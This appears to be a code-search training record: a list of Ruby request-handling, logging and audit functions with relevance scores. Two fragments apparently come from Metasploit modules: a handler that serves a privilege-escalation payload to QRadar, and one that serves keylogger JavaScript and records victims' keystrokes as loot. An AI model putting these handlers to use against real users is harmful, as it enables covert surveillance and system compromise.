@stderr.write(\" error: #{$!} at#{$@}\\n\".to_java_bytes)\n end\n @txt_input.text = body.to_java_bytes\n else\n @txt_input.text = content.to_s.to_java_bytes\n end\n end\n @txt_input.editable = @editable\n\n end", "def send_response input,output,result_flag = \"ok\"\n input[:data] = output\n input[:type] = :response\n input[:result_flag] = result_flag\n begin\n send_data(input)\n rescue Object => bdrb_error\n log_exception(bdrb_error)\n input[:data] = \"invalid_result_dump_check_log\"\n input[:result_flag] = \"error\"\n send_data(input)\n end\n end", "def send_request?\n case ARGV[0]\n when \"--no-request\"\n return false\n end\n return true\nend", "def bye\n log do |msg|\n msg.add_record(agent_type, \"action\", \"bye\")\n msg.add_record(agent_type, \"uuid\", uuid)\n end\n super\n end", "def record_request(env)\n input = create_recording_input(env)\n env.update \"rack.input\" => input\n input\n end", "def on_request(request, type)\n self.on_request_args = [request, type]\n self.on_request_called = true\n false # cancel request since we can't stub it\n end", "def simulate_maintenance_event request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_simulate_maintenance_event_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Cloud::Compute::V1::Operation.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end", "def log_output()\n prefix = @global_opts[:prefix] ? (@global_opts[:prefix] + \"-\") : \"\"\n t = Time.now.strftime(\"%Y%m%d%H%M%S\")\n\n # Check for any returned records\n if (@successes > 0 and not [\"set\", \"unset\", \"check\"].include?(@cmd))\n any_records = true\n else\n any_records = false\n end\n\n # Data\n if any_records\n data_filename = prefix + \"wc-\" + @cmd + \"-\" + t + \".xml\"\n data = File.new(data_filename, \"w+:UTF-8\")\n data.write(@response_data)\n data.close\n end\n\n status_extension = @global_opts[:csv] ? \".csv\" : \".txt\"\n status_filename = prefix + \"wc-\" + @cmd + \"-\" + t + \"-log\" + status_extension\n\n # Summary\n summary = \"\"\n summary << <<~SUMMARY\n OCLC WorldCat Metadata API: #{@cmd.capitalize} operation\n #{PAST_TENSE[@cmd].capitalize} #{@successes.to_s} #{@successes != 1 ? \"records\" : \"record\"} and #{@failures.to_s} failed\n #{\"Records written to \" + data_filename if any_records}\n Log written to #{status_filename}\n SUMMARY\n\n # Status log\n status = File.new(status_filename, \"w+:UTF-8\")\n status.write(@debug_info) if @global_opts[:debug]\n status.write(summary + \"\\n\")\n status.write(@response_status)\n status.close\n\n puts summary\n end", "def on_request_uri(cli, request)\r\n print_good(\"#{peer} - Sending privilege escalation payload to QRadar...\")\r\n print_good(\"#{peer} - Sit back and relax, Shelly will come visit soon!\")\r\n send_response(cli, @payload)\r\n end", "def processRequest\n # retrieve the requests with data\n \n req = DSRequest.new(@request, @model) \n # set the response variable\n res = req.execute\n File.open('kris.txt', 'w') { |file| file.write(res) }\n # safeguard, if was null, create an empty response with failed status\n if res.nil?\n res = DSResponse.new\n res.status=-1\n end \n return res \n end", "def capture_request_response_cycle_end_info(capture_error: false)\n return gather_stats unless gather_stats\n\n # get system info\n current_time = get_system_current_time\n current_used_memory = get_system_used_memory_mb\n current_swap_memory = get_system_used_swap_memory_mb\n current_hostname = get_server_hostname\n current_gc_stat = get_gc_stat\n\n res_info = {\n req_object_id: request.object_id,\n res_object_id: response.object_id,\n res_time: current_time,\n }\n\n # fetching temporary request info\n # return false if temporary request info cannot be found\n redis_req_key_name = redis_record.req_key(get_server_hostname, res_info[:req_object_id])\n req_info = ActiveSupport::HashWithIndifferentAccess.new(redis_record.parsed_get(redis_req_key_name))\n return false if req_info == {}\n redis_record.del redis_req_key_name\n\n # generating request-response-cycle info\n req_res_info = {\n key_name: nil,\n # server_name: req_info[:server_name],\n server_name: current_hostname,\n api_name: req_info[:req_path],\n api_verb: req_info[:req_http_verb],\n api_controller: req_info[:req_controller],\n api_action: req_info[:req_action],\n request_count: 0,\n min_time: nil,\n max_time: nil,\n avg_time: 0,\n start_time: nil, # slot starting time\n end_time: nil, # slot ending time\n error_count: 0,\n min_used_memory_MB: nil,\n max_used_memory_MB: nil,\n avg_used_memory_MB: 0,\n min_swap_memory_MB: nil,\n max_swap_memory_MB: nil,\n avg_swap_memory_MB: 0,\n avg_gc_stat_diff: Hash.new(0),\n min_gc_stat_diff: {},\n max_gc_stat_diff: {},\n }\n redis_req_res_key_name = redis_record.req_res_key(req_res_info[:server_name], req_res_info[:api_name], req_res_info[:api_verb])\n req_res_info[:key_name] = redis_req_res_key_name\n req_res_info[:start_time], req_res_info[:end_time] = redis_record.get_slot_range_for_key(redis_req_res_key_name).map(&:to_s)\n req_res_info_parsed = redis_record.parsed_get(redis_req_res_key_name)\n req_res_info = if req_res_info_parsed.present?\n # making use of existing value from db\n ActiveSupport::HashWithIndifferentAccess.new(req_res_info_parsed)\n else\n # using default value\n ActiveSupport::HashWithIndifferentAccess.new(req_res_info)\n end\n current_cycle_time = (res_info[:res_time] - req_info[:req_time]).round(SECONDS_PRECISION)\n current_gc_stat_diff = get_gc_stat_diff(req_info[:gc_stat], current_gc_stat)\n req_res_info[:min_time] = [req_res_info[:min_time], current_cycle_time].compact.min\n req_res_info[:max_time] = [req_res_info[:max_time], current_cycle_time].compact.max\n req_res_info[:avg_time] = ((req_res_info[:avg_time] * req_res_info[:request_count] + current_cycle_time)/(req_res_info[:request_count] + 1)).round(SECONDS_PRECISION)\n req_res_info[:min_used_memory_MB] = [req_res_info[:min_used_memory_MB], current_used_memory].compact.min\n req_res_info[:max_used_memory_MB] = [req_res_info[:max_used_memory_MB], current_used_memory].compact.max\n req_res_info[:avg_used_memory_MB] = ((req_res_info[:avg_used_memory_MB] * req_res_info[:request_count] + current_used_memory)/(req_res_info[:request_count] + 1)).round(MEMORY_PRECISION)\n req_res_info[:min_swap_memory_MB] = [req_res_info[:min_swap_memory_MB], current_swap_memory].compact.min\n req_res_info[:max_swap_memory_MB] = [req_res_info[:max_swap_memory_MB], current_swap_memory].compact.max\n req_res_info[:avg_swap_memory_MB] = (req_res_info[:avg_swap_memory_MB] * req_res_info[:request_count] + current_swap_memory)/(req_res_info[:request_count] + 1)\n req_res_info[:min_gc_stat_diff] = get_min_max_sum_gc_stat_diff(:min, req_res_info[:min_gc_stat_diff], current_gc_stat_diff)\n req_res_info[:max_gc_stat_diff] = get_min_max_sum_gc_stat_diff(:max, req_res_info[:min_gc_stat_diff], current_gc_stat_diff)\n req_res_info[:avg_gc_stat_diff] = get_avg_gc_stat_diff(req_res_info[:request_count], req_res_info[:min_gc_stat_diff], current_gc_stat_diff)\n req_res_info[:request_count] += 1 # Note: updation of `request_count` should be the last\n\n # if error is raised\n if capture_error\n req_res_info[:error_count] += 1\n end\n\n # saving request-respose-cycle info to redis db\n redis_record.jsonified_set(redis_req_res_key_name, req_res_info)\n\n # return request-response-cycle info key\n redis_req_res_key_name\n end", "def flush(options = {})\n if dut_version > '0.12.0'\n sync_up\n put('j^')\n sync_up\n # By now, the simulator has generated all log output up to this point and flushed it out,\n # however it may not be in the Origen log output yet because the main Origen thread has not\n # given the stdout/err reader threads a chance to process it.\n # This will now sleep the main Origen thread to allow that to get a chance to happen and we\n # will proceed once it has been > 100ms since a log message was processed, at that point we\n # can safely assume that they are all done and nothing is left in the buffer.\n w = false\n while !w || simulation.time_since_last_log < 0.1\n w = true\n sleep 0.1\n end\n # Finally, make sure the messages are not now sitting in an IO buffer\n Origen.log.flush\n nil # Keep the console clean if this is called interactively\n else\n unless options[:quiet]\n OrigenSim.error \"Use of flush requires a DUT model compiled with OrigenSim version > 0.12.0, the current dut was compiled with #{dut_version}\"\n end\n end\n end", "def send_report(report)\n unless @entity_uuid && @run_id\n Chef::Log.error \"entity_uuid(#{@entity_uuid}) or run_id(#{@run_id}) can't be nil, not sending report to Chef Automate\"\n return false\n end\n\n if defined?(Chef) && defined?(Chef::Config)\n headers = { 'Content-Type' => 'application/json' }\n unless @token.nil?\n headers['x-data-collector-token'] = @token\n headers['x-data-collector-auth'] = 'version=1.0'\n end\n\n # Enable OpenSSL::SSL::VERIFY_NONE via `node['audit']['insecure']`\n # See https://github.com/chef/chef/blob/master/lib/chef/http/ssl_policies.rb#L54\n if @insecure\n Chef::Config[:verify_api_cert] = false\n Chef::Config[:ssl_verify_mode] = :verify_none\n end\n\n all_report_shas = report_profile_sha256s(report)\n missing_report_shas = missing_automate_profiles(@url, headers, all_report_shas)\n\n full_report = truncate_controls_results(enriched_report(report), @control_results_limit)\n\n # If the Automate backend has the profile metadata for at least one profile, proceed with metadata stripping\n full_report = strip_profiles_meta(full_report, missing_report_shas, 1) if missing_report_shas.length < all_report_shas.length\n json_report = full_report.to_json\n\n report_size = json_report.bytesize\n # Automate GRPC currently has a message limit of ~4MB\n # https://github.com/chef/automate/issues/1417#issuecomment-541908157\n if report_size > 4 * 1024 * 1024\n Chef::Log.warn \"Compliance report size is #{(report_size / (1024 * 1024.0)).round(2)} MB.\"\n Chef::Log.warn 'Automate has an internal 4MB limit that is not currently configurable.'\n end\n\n unless json_report\n Chef::Log.warn 'Something went wrong, report can\\'t be nil'\n return false\n end\n\n begin\n Chef::Log.info \"Report to Chef Automate: #{@url}\"\n Chef::Log.debug \"Audit Report: #{json_report}\"\n http = Chef::HTTP.new(@url)\n http.post(nil, json_report, headers)\n true\n rescue => e\n Chef::Log.error \"send_report: POST to #{@url} returned: #{e.message}\"\n false\n end\n else\n Chef::Log.warn 'data_collector.token and data_collector.server_url must be defined in client.rb!'\n Chef::Log.warn 'Further information: https://github.com/chef-cookbooks/audit#direct-reporting-to-chef-automate'\n false\n end\n end", "def audits_ok?\n validate_moab_audit_ok? &&\n catalog_to_moab_audit_ok? &&\n moab_to_catalog_audit_ok? &&\n moab_checksum_validation_audit_ok? &&\n catalog_to_archive_audit_ok?\n end", "def send_pending\n if output.length > 0\n sent = send(output.to_s, 0)\n debug { \"sent #{sent} bytes\" }\n output.consume!(sent)\n return sent > 0\n else\n return false\n end\n end", "def run\n return if halted?\n\n http = request.em\n http.callback {\n Benchy.logger.info \"#{name}\\t| #{request.method.upcase} #{request.url} - HTTP #{http.response_header.status}\"\n run\n }\n http.errback {\n Benchy.logger.error \"#{name}\\t| Connection error!\"\n halt # TODO - Make this fail the ping and try again, not halt\n }\n end", "def add_request(request)\n requests << request\n true\n end", "def make_verbose(request)\n request.options[:verbose] = true\n\n request.on_complete do |response|\n puts\n puts 'Request body:'\n puts request.options[:body]\n puts\n puts 'Response body:'\n puts response.body\n puts\n end\n end", "def activity_logging\n %w(write delete).each do |event|\n observer = @ts.notify(event, [:name, nil, DRbObject, nil])\n activity_output(observer)\n end\n end", "def commit(request)\n headers = { 'Content-Type' => 'text/xml',\n 'Authorization' => encoded_credentials }\n\n response = parse(ssl_post(test? ? TEST_URL : LIVE_URL, request, headers))\n \n # parse the reply into a Response object\n success = response[:TransactionState] == 'success'\n message = response[:Description]\n authorization = (success && @options[:action] == :authorization) ? response[:TransactionId] : nil\n\n Response.new(success, message, response,\n :test => test?,\n :authorization => authorization\n )\n \n end", "def log_request(request, response)\n puts \"\\nRequest Headers\"\n request.each {|head,val| puts \"#{head}: #{val}\"}\n puts \"\\nResponse Headers\"\n response.each {|head,val| puts \"#{head}: #{val}\"}\n puts \"\\nResponse Body\"\n puts response.body\n puts \"\\nResponse Type\"\n puts \"#{response.class} (#{response.code})\"\nend", "def receive_request(request)\n puts \"request received:\\n#{request.inspect}\"\n end", "def log_action_summary(event)\n env = event.payload\n info do\n \"[#{req_id(env)}] #{req_origin(env)} -> #{res_result(env)} \" \\\n \"(#{event.duration.round(1)}ms)\"\n end\n end", "def call(env)\n start = Time.now\n begin\n status, headers, response = @app.call(env)\n rescue Exception => ex\n status = 500\n exception = ex\n end\n stop = Time.now\n\n unless @client\n sender = @sender || Channel::AsynchronousSender.new\n sender.send_interval = @send_interval\n queue = Channel::AsynchronousQueue.new sender\n queue.max_queue_length = @buffer_size\n channel = Channel::TelemetryChannel.new nil, queue\n\n @client = TelemetryClient.new @instrumentation_key, channel\n end\n\n request = ::Rack::Request.new env\n id = rand(16**32).to_s(16)\n start_time = start.iso8601(7)\n duration = format_request_duration(stop - start)\n success = status.to_i < 400\n options = {\n :name => \"#{request.request_method} #{request.path}\",\n :http_method => request.request_method,\n :url => request.url\n }\n\n @client.track_request id, start_time, duration, status, success, options\n\n if exception\n @client.track_exception exception, handled_at: 'Unhandled'\n raise exception\n end\n\n [status, headers, response]\n end", "def finish_trace( t0, segment, request, response )\n t1 = Time.now\n duration = t1.to_f - t0.to_f\n\n begin\n if request\n # Figure out which metrics we need to report based on the request and response\n # The last (most-specific) one is scoped.\n metrics = metrics_for( request, response )\n scoped_metric = metrics.pop\n\n stats_engine.record_metrics(metrics, duration)\n stats_engine.record_metrics(scoped_metric, duration, :scoped => true)\n\n # If we don't have segment, something failed during start_trace so\n # the current segment isn't the HTTP call it should have been.\n if segment\n segment.name = scoped_metric\n add_transaction_trace_parameters(request, response)\n end\n end\n ensure\n # If we have a segment, always pop the scope stack to avoid an\n # inconsistent state, which prevents tracing of whole transaction.\n stats_engine.pop_scope( segment, scoped_metric, t1 ) if segment\n end\n rescue NewRelic::Agent::CrossAppTracing::Error => err\n NewRelic::Agent.logger.debug \"while cross app tracing\", err\n rescue => err\n NewRelic::Agent.logger.error \"Uncaught exception while finishing an HTTP request trace\", err\n end", "def write( chunk )\n begin\n $log.debug \"Size of chunk is: #{chunk.size}\"\n requests = self.build_add_events_body( chunk )\n $log.debug \"Chunk split into #{requests.size} request(s).\"\n\n requests.each_with_index { |request, index|\n $log.debug \"Request #{index + 1}/#{requests.size}: #{request[:body].bytesize} bytes\"\n begin\n response = self.post_request( @add_events_uri, request[:body] )\n self.handle_response( response )\n rescue OpenSSL::SSL::SSLError => e\n if e.message.include? \"certificate verify failed\"\n $log.warn \"SSL certificate verification failed. Please make sure your certificate bundle is configured correctly and points to a valid file. You can configure this with the ssl_ca_bundle_path configuration option. The current value of ssl_ca_bundle_path is '#{@ssl_ca_bundle_path}'\"\n end\n $log.warn e.message\n $log.warn \"Discarding buffer chunk without retrying or logging to <secondary>\"\n rescue Scalyr::Client4xxError => e\n $log.warn \"4XX status code received for request #{index + 1}/#{requests.size}. Discarding buffer without retrying or logging.\\n\\t#{response.code} - #{e.message}\\n\\tChunk Size: #{chunk.size}\\n\\tLog messages this request: #{request[:record_count]}\\n\\tJSON payload size: #{request[:body].bytesize}\\n\\tSample: #{request[:body][0,1024]}...\"\n\n end\n }\n\n rescue JSON::GeneratorError\n $log.warn \"Unable to format message due to JSON::GeneratorError.\"\n raise\n end\n end", "def commit(request)\n data = ssl_post(test? ? self.test_url : self.live_url, request)\n response = parse(data)\n\n cvv_result = CVVResult.new(response[:cv2_result_response], true)\n\n Response.new(response[:status] == DATACASH_SUCCESS, response[:reason], response,\n :test => test?,\n :authorization => \"#{response[:datacash_reference]};#{response[:authcode]};#{response[:ca_reference]}\",\n :cvv_result => cvv_result\n )\n end", "def datadog_http_request?(req, address, port, tracer)\n transport = tracer.writer.transport\n\n transport_hostname = nil\n transport_port = nil\n\n # Get settings from transport, if available.\n case transport\n when Datadog::Transport::HTTP::Client\n adapter = transport.current_api.adapter\n if adapter.is_a?(Datadog::Transport::HTTP::Adapters::Net)\n transport_hostname = adapter.hostname.to_s\n transport_port = adapter.port.to_i\n end\n end\n\n # When we know the host & port (from the URI) we use it, else (most-likely\n # called with a block) rely on the URL at the end.\n if req.respond_to?(:uri) && req.uri\n if req.uri.host.to_s == transport_hostname &&\n req.uri.port.to_i == transport_port\n return true\n end\n elsif address && port &&\n address.to_s == transport_hostname &&\n port.to_i == transport_port\n return true\n end\n\n false\n end", "def on_request_uri(cli, request)\r\n random_content = '<html><head></head><body><p>'+Rex::Text.rand_text_alphanumeric(20)+'<p></body></html>'\r\n send_response(cli, random_content)\r\n\r\n @received_request = true\r\n end", "def request_sent?\n !response.nil?\n end", "def on_request( channel, request, want_reply, data )\n end", "def _send_request request, &block\n @response_waited[request.id] = block if block_given?\n send_data request.to_s + \"\\n\"\n request\n end", "def process_event(res, event_type, app_id, msg)\n logger.info \"Frisbeed: App Event from '#{app_id}' - #{event_type}: '#{msg}'\"\n if event_type == 'EXIT' #maybe i should inform you for every event_type.\n res.inform(:status, {\n status_type: 'FRISBEED',\n event: event_type.to_s.upcase,\n app: app_id,\n exit_code: msg,\n msg: msg\n }, :ALL)\n elsif event_type == 'STDOUT'\n res.inform(:status, {\n status_type: 'FRISBEED',\n event: event_type.to_s.upcase,\n app: app_id,\n exit_code: msg,\n msg: msg\n }, :ALL)\n end\nend", "def process_request(env)\n @triggered = []\n @env = @default_options.merge(env)\n perform_receive\n end", "def process_request(env)\n @triggered = []\n @env = @default_options.merge(env)\n perform_receive\n end", "def update!(**args)\n @request_logging = args[:request_logging] if args.key?(:request_logging)\n end", "def send_request(request)\n @@last_request = request.to_parms_string if @@debug\n unless (@@debug && @@next_response)\n res = @connection.post PayTrace.configuration.url, parmlist: request.to_parms_string\n raw_response = res.body\n else\n raw_response = @@next_response\n end\n \n @@last_response = raw_response\n response = PayTrace::API::Response.new(raw_response)\n @@last_response_object = response\n\n @@next_response = nil # just to be sure\n\n if @@raise_exceptions && response.has_errors?\n raise PayTrace::Exceptions::ErrorResponse.new(response)\n else\n response\n end\n end", "def send_request(request)\n previous = @queue.last\n current = Job.new(Fiber.current, request, false)\n @queue << current\n\n # wait for the previous request to be sent\n while previous && !previous.sent\n return if Fiber.yield == :kill\n end\n\n # send the request\n self.comm_inactivity_timeout = 0\n @builder.request(request.to_a)\n current.sent = true\n self.comm_inactivity_timeout = config[:timeout]\n\n # wait for the response\n while !current.response\n return if Fiber.yield == :kill\n end\n\n # clean up and return response\n @queue.delete(current)\n current.response\n end", "def record_stats(env, start_time)\n statsd_client = Protobuf::Statsd.client\n path = statsd_base_path(env)\n return unless statsd_client && path && env.response\n end_time = Time.now.utc\n\n if env.response.is_a?(Protobuf::Rpc::PbError)\n statsd_client.increment(\"#{path}.failure.total\")\n statsd_client.increment(\"#{path}.failure.#{env.response.error_type}\")\n else\n statsd_client.increment(\"#{path}.success\")\n end\n\n statsd_client.timing(\"#{path}.time\", end_time - start_time)\n rescue => e\n # We insert ourself after Exception handler, so no exceptions allowed!\n logger.warn { \"Error with Statsd middleware: #{e.message}\" }\n end", "def on_request_uri(cli, request)\n\t\t@host = cli.peerhost\n\n\t\t# Reply with JavaScript Source if *.js is requested\n\t\tif request.uri =~ /\\.js/\n\t\t\tcontent_type = \"text/plain\"\n\t\t\tcontent = keylogger\n\t\t\tsend_response(cli, content, {'Content-Type'=> content_type})\n\t\t\trequest_timestamp(cli,request)\n\n\t\t# JavaScript XML HTTP GET Request is used for sending the keystrokes over network.\n\t\telsif request.uri =~ /#{@random_text}/\n\t\t\tcontent_type = \"text/plain\"\n\t\t\tsend_response(cli, @random_text, {'Content-Type'=> content_type})\n\t\t\tlog = request.uri.split(\"&\")[1]\n\t\t\thex_to_s(log)\n\t\t\t@loot << \"#{cli.peerhost} - #{current_time} - \" + @ascii_log + \"\\n\"\n\t\t\tif log.length > 1\n\t\t\t\tprint_good(\"#{cli.peerhost} - #{current_time} - [KEYLOG] - #{@ascii_log}\")\n\t\t\tend\n\n\t\t# Reply with Metasploit Shield Favicon\n\t\telsif request.uri =~ /favicon\\.ico/\n\t\t\tcontent = favicon\n\t\t\tcontent_type = \"image/icon\"\n\t\t\t\tsend_response(cli, content, {'Content-Type'=> content_type})\n\t\t\trequest_timestamp(cli,request)\n\n\t\t# Reply with Demo Page\n\t\telsif request.uri =~ /metasploit/ and datastore['DEMO']\n\t\t\tcontent = demo\n\t\t\tcontent_type = \"text/html\"\n\t\t\t\tsend_response(cli, content, {'Content-Type'=> content_type})\n\t\t\trequest_timestamp(cli,request)\n\t\telse\n\t\t\t# Reply with 404 - Content Not Found\n\t\t\tcontent = \"Error 404 (Not Found)!\"\n\t\t\tsend_response(cli, \"<html><title>#{content}</title><h1>#{content}</h1></html>\", {'Content-Type' => 'text/html'})\n\t\tend\n\tend", "def dispatch(impression, callback, query_params)\n url = CONSTANTS::HTTPS_PROTOCOL + get_url(CONSTANTS::ENDPOINTS::BATCH_EVENTS)\n account_id = query_params[:a]\n resp = VWO::Utils::Request.post(url, query_params, impression)\n case resp.code\n when '200'\n @logger.log(\n LogLevelEnum::INFO,\n 'IMPRESSION_BATCH_SUCCESS',\n {\n '{file}' => FILE,\n '{endPoint}' => url,\n '{accountId}' => account_id\n }\n )\n message = nil\n when '413'\n @logger.log(\n LogLevelEnum::DEBUG,\n 'CONFIG_BATCH_EVENT_LIMIT_EXCEEDED',\n {\n '{file}' => FileNameEnum::BATCH_EVENTS_DISPATCHER,\n '{endPoint}' => url,\n '{eventsPerRequest}' => impression.length,\n '{accountId}' => impression[:a]\n }\n )\n\n @logger.log(\n LogLevelEnum::ERROR,\n 'IMPRESSION_FAILED',\n {\n '{file}' => FileNameEnum::BATCH_EVENTS_DISPATCHER,\n '{err}' => resp.message,\n '{endPoint}' => url\n }\n )\n message = resp.message\n else\n @logger.log(\n LogLevelEnum::INFO,\n 'IMPRESSION_BATCH_FAILED',\n { '{file}' => FileNameEnum::BATCH_EVENTS_DISPATCHER }\n )\n\n @logger.log(\n LogLevelEnum::ERROR,\n 'IMPRESSION_FAILED',\n {\n '{file}' => FileNameEnum::BATCH_EVENTS_DISPATCHER,\n '{err}' => resp.message,\n '{endPoint}' => url\n }\n )\n message = resp.message\n end\n callback&.call(message, impression)\n true\n rescue StandardError => e\n @logger.log(\n LogLevelEnum::DEBUG,\n 'IMPRESSION_BATCH_FAILED',\n { '{file}' => FileNameEnum::BATCH_EVENTS_DISPATCHER }\n )\n\n @logger.log(\n LogLevelEnum::ERROR,\n 'IMPRESSION_FAILED',\n {\n '{file}' => FileNameEnum::BATCH_EVENTS_DISPATCHER,\n '{err}' => e.message,\n '{endPoint}' => url\n }\n )\n false\n end", "def dn_request(fn, flag, *_)\n file = get_file fn\n push_output_file(file)\n self.buffer_stack.push self.line_buffer\n self.line_buffer = []\n look_for_en(nil,flag, expand_substitutions: false) do |line|\n write_trace(\"Divert\", line)\n put_line(line)\n end\n self.line_buffer = self.buffer_stack.pop\n err \"!Buffer stack underflow\" unless self.line_buffer\n pop_output_file\n end", "def update_activity_logs\n request_number = request.number\n req_link = \"<a href = 'requests/#{request_number}'>#{request_number}</a>\"\n app = request.app_name.size > 1 ? \"Applications\" : \"Application\"\n # Log activity is not supported in Rails3\n #User.current_user.log_activity(:context => \"#{req_link} has been #{request.aasm_state} for #{app} #{request.app_name.to_sentence}\") do\n #end\n end", "def log_request(url, headers, body)\n logger = @api.logger\n logger.debug(\"Report request to: '%s'\" % url)\n logger.debug('HTTP headers: [%s]' %\n (headers.map { |k, v| [k, v].join(': ') }.join(', ')))\n logger.debug(body)\n end", "def callback_traces\n return true if @trace_buffer.empty?\n\n begin\n traces = @trace_buffer.pop\n traces = Pipeline.process!(traces)\n @trace_task.call(traces, @transport) unless @trace_task.nil?\n rescue StandardError => e\n # ensures that the thread will not die because of an exception.\n # TODO[manu]: findout the reason and reschedule the send if it's not\n # a fatal exception\n Datadog::Tracer.log.error(\n \"Error during traces flush: dropped #{traces.length} items. Cause: #{e} Location: #{e.backtrace.first}\"\n )\n end\n end", "def flush\n return unless enabled?\n @reporter.flush\n end", "def flush\n return unless enabled?\n @reporter.flush\n end", "def filter(event)\n @logger.debug('filtering event:')\n @logger.debug(event)\n unless filter_send_event(event)\n @logger.debug('event type should not be sent')\n return false\n end\n unless filter_disabled(event)\n @logger.debug('event is disabled')\n return false\n\tend\n unless filter_repeated(event)\n @logger.debug('event has not repeated enough')\n return false\n\tend\n unless filter_silenced(event)\n @logger.debug('event should be silenced')\n return false\n\tend\n unless filter_dependencies(event)\n @logger.debug('event has alerting dependencies')\n return false\n\tend\n\treturn true\n end", "def audit_request(msg, connection)\n PluginManager[\"rpcaudit_plugin\"].audit_request(msg, connection) if @config.rpcaudit\n rescue Exception => e # rubocop:disable Lint/RescueException\n Log.warn(\"Audit failed - #{e} - continuing to process message\")\n end", "def log_and_alert\n \n @call_options = CallOption.option_for_digits(menu_selection) \n ap = AppConfig.find_by_name(\"threesparks\")\n ap.message_log.create(from:params[:From], country:params[:CallerCountry], state:params[:CallerState], call_sid:params[:CallSid], menu_digit:menu_selection, recording_url:menu_selection)\n \n unless ap.yammer_auth_token.blank?\n YammerConnect.alert_yammer(ap.yammer_auth_token,message, params[:RecordingUrl], @call_options[:yammer_group_id])\n end\n \n respond_to do |format|\n \n format.xml\n end\n end", "def handle_tracer_email\n if m = /^TRACER: (.+)$/.match(envelope.subject)\n tracer_uid = m[1]\n confirm_tracer(tracer_uid)\n user_thread.update_user(:last_uid => uid)\n daemon.total_emails_processed += 1\n return false\n else\n return true\n end\n end", "def do_finish_ai\n # print \"in do_finish_ai @wait_on_ai #{@wait_on_ai}\\n\"\n # print \"@event_waiting_for #{@event_waiting_for}\\n\"\n # print \"TM.response_queue #{TM.response_queue}\\n\"\n \n if @event_waiting_for == 0 && TM.response_queue.empty?\n \n # At the start of the enemies turn, just push all of them into next start\n # change start_event so that that is when everything happens.\n \n @event_waiting_for = TM.next_start\n # print \"@event_waiting_for = #{@event_waiting_for} start_queue #{TM.start_queue}\\n\"\n # print \"@event_waiting_for = #{@event_waiting_for}\\n\"\n \n if @event_waiting_for != 0\n \n # print \"routine for #{@event_waiting_for}\\n\"\n Era::AI.easy_main_routine(@event_waiting_for)\n Era::AI.start_event(@event_waiting_for)\n else\n ai_done_tb\n end\n else\n # set the event to 0 here responses are evaluted in base control flow.\n e = $game_map.events[@event_waiting_for]\n intp = e.interpreter\n intp_running = intp && intp.running?\n #print \"e.acts_done_tb #{e.acts_done_tb}\\n\" if e\n #print \"intp_running = #{intp_running}\\n\"\n #print \"event.list #{e.list}\\n\"\n if !e || (e.acts_done_tb)# && !(intp_running || e.starting))\n @event_waiting_for = 0\n end\n end\n end" ]
[ "0.6689743", "0.5404909", "0.5366387", "0.5189914", "0.50771224", "0.5049568", "0.50203013", "0.49786532", "0.4945736", "0.49390286", "0.493359", "0.49144307", "0.49034902", "0.48927855", "0.48626506", "0.48561746", "0.48523256", "0.48487952", "0.48486495", "0.4838797", "0.48274875", "0.48058966", "0.48044488", "0.4794402", "0.47743112", "0.47631603", "0.47498977", "0.47386467", "0.4709342", "0.47069934", "0.46915278", "0.46522135", "0.4648919", "0.46317998", "0.46190083", "0.46163952", "0.46161562", "0.46159688", "0.4607783", "0.4604836", "0.45999223", "0.45938674", "0.45931372", "0.4589082", "0.4589082", "0.45772803", "0.45755768", "0.45708445", "0.45631993", "0.45408058", "0.45290118", "0.45225304", "0.4503963", "0.45015174", "0.44981933", "0.449698", "0.4495112", "0.4494559", "0.44925088", "0.44786143", "0.4477634", "0.44723096", "0.44634712", "0.44600213", "0.44485897", "0.44340718", "0.4433922", "0.44330832", "0.44282782", "0.44268677", "0.44184783", "0.441554", "0.44106218", "0.44105753", "0.4402818", "0.43995047", "0.43969697", "0.43893936", "0.43874234", "0.43870315", "0.43760034", "0.43743244", "0.43743244", "0.4371487", "0.436825", "0.43572238", "0.4354992", "0.43522054", "0.43521258", "0.4346536", "0.43365145", "0.43324658", "0.4319541", "0.43120798", "0.43120798", "0.43116683", "0.43113178", "0.43108433", "0.430993", "0.4293517" ]
0.5152358
4
Actually send audits to core agent and log failures === Parameters request(String):: Request that should be sent to auditor actor text(String):: Text to be audited === Return true:: Always return true
def internal_send_request(request, options) log_method = request == 'append_error' ? :error : :info log_text = AuditFormatter.send(format_method(request), options[:text])[:detail] log_text.chomp.split("\n").each { |l| RightLinkLog.__send__(log_method, l) } options[:audit_id] = @audit_id RightScale::RequestForwarder.push("/auditor/#{request}", options) true end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def setMessage(content, isRequest)\n\n @txt_input.text = \"Text is not Modified.\".to_java_bytes if @txt_input.textModified\n\n if isRequest\n makelog \"start request audit\"\n @txt_input.text = \"HTTP Request is nil or empty.\".to_java_bytes if content.nil? or content.empty?\n resultlist = []\n begin\n formatedRequest = parse_request(content.to_s)\n checklist = conduct_policy(formatedRequest)\n resultlist += lunchRequestBasedAudit(checklist,formatedRequest)\n basic = BasicAnalyzer.new(formatedRequest)\n # resultlist << basic.paraSetEmpty\n display_data = dataEdit(resultlist)\n display_data.size\n if display_data.size > 0\n @txt_input.text = display_data.to_java_bytes\n else\n @txt_input.text = \"Nothing to display\".to_java_bytes\n end\n rescue\n @stderr.write(\" error: #{$!} at#{$@}\\n\".to_java_bytes)\n end\n\n else\n @txt_input.text = \"HTTP Reponse is nil or empty.\".to_java_bytes if content.nil? or content.empty?\n\n lines= content.to_s.split(\"\\n\")\n body = \"\"\n lines.each_with_index{|each,index| body = each if each.chomp =~ /^\\{.*\\}$/ }\n if body.size > 0\n body = body.chomp\n begin\n hash = JSON.parse body\n body = JSON.pretty_generate hash\n rescue\n @stderr.write(\" error: #{$!} at#{$@}\\n\".to_java_bytes)\n end\n @txt_input.text = body.to_java_bytes\n else\n @txt_input.text = content.to_s.to_java_bytes\n end\n end\n @txt_input.editable = @editable\n\n end", "def action_custom_activity(input)\n token = input[:FromUserName]\n text_attrs = input[:Content].split('@')\n activity = WxCustomActivity.find_by_key_and_status(text_attrs[0],1)\n activity_log = WxActivityLog.find_by_uid_and_activity_id(token,activity[:id])\n return build_response_text_temp {|msg|\n msg.Content = activity[:join_msg]\n } unless 